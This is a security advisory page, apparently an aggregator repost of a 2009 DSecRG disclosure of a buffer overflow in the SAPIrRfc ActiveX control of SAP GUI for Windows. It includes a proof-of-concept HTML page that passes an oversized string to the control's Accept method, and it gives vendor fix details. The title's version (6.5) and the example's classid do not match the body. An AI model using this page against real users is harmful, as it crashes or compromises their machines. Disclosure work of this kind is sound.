SAP GUI For WIndows 6.5 Buffer Overflow

🗓️ 08 Jun 2009 00:00:00Reported by Sh2kerrType
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SAP GUI for Windows 6.4 Buffer Overflow, ActiveX Component Vulnerabilit
`Digital Security Research Group [DSecRG] Advisory #DSECRG-09-015  
  
Original Advisory: http://dsecrg.com/pages/vul/show.php?id=115  
  
  
Application: SAP GUI for Windows, EnjoySAP  
Versions Affected: Version 6.4   
Vendor URL: http://SAP.com  
Bugs: Buffer Overflow  
Exploits: YES  
Reported: 13.11.2008  
Vendor response: 17.11.2008  
Date of Public Advisory: 08.06.2009  
CVE-number:   
Author: Alexander Polyakov  
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
SAP GUI for Windows version 6.4 contains ActiveX component SAPIrRfc which is vulnerable to Buffer overflow attack.   
  
file = sapirrfc.dll  
GUID = F6908F83-ADA6-11D0-87AA-00AA00198702  
  
  
Details  
*******  
  
Attacker can construct html page which will call vulnerable function "Accept" from ActiveX Object SAPIrRfc with long parameter.  
When user open this vulnerable page it will occur DOS (Example 1) or full remote control on target system (Example2 execute calc.exe aviable by request) .  
  
  
  
Example1:  
*********  
  
  
<html>  
<object classid='clsid:77F12F8A-F117-11D0-8CF1-00A0C91D9D87' id='target' />  
<script>  
  
arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  
  
target.Accept arg1   
  
</script>  
</html>  
  
  
  
Fix Information  
***************  
The issue has been solved. See SAP note 1286637.  
  
  
  
References:  
***********  
SAP note 1286637  
  
https://service.sap.com/sap/support/notes/1286637  
http://dsecrg.com/pages/vul/show.php?id=115  
  
  
  
  
About  
*****  
  
Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsecrg [dot] com  
http://www.dsecrg.com  
  
  
  
  
  
  
  
  
  
  
Regards, Alexander Polyakov  
Digital Security Research Group [DSecRG]  
________________________________________  
DIGITAL SECURITY  
tel/fax: +7(812)703-1547  
tel: +7(812)430-9130  
e-mail: [email protected]  
web: www.dsecrg.com  
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`
08 Jun 2009 00:00Current
0.7Low risk
Vulners AI Score0.7